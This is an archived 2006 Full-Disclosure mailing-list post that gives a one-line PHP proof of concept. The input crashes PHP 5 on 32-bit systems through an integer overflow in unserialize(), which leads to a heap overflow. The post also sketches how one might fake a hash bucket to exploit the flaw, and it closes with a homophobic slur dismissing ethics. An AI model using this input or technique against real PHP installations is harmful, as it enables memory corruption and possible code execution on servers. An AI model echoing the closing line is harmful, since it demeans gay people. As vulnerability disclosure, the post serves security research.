full-disclosure - PHP 5 ecalloc memory manager unserialize() array int overflow ia 32 bits poc

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <8f6a58a30610170748i1333fb38tfb6fb1a1c5442642@mail.gmail.com>
Date: Tue, 17 Oct 2006 16:48:48 +0200
From: "Slythers Bro" <slythers@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: PHP 5 ecalloc memory manager unserialize() array
	int overflow ia 32 bits poc

<?

 print_r(unserialize('a:1073741823:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
?>

in function zend_hash_init() int overflow ( ecalloc() )-> heap overflow
here segfault in zend_hash_find() but it's possible to fake the bucket and
exploit a zend_hash_del_index_or_key
i tried a memory dump , just fake the bucked with the pointer of the
$GLOBALS's bucket but segfault before in memory_shutdown...

don't cry a river :P
ethic is for gayz

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/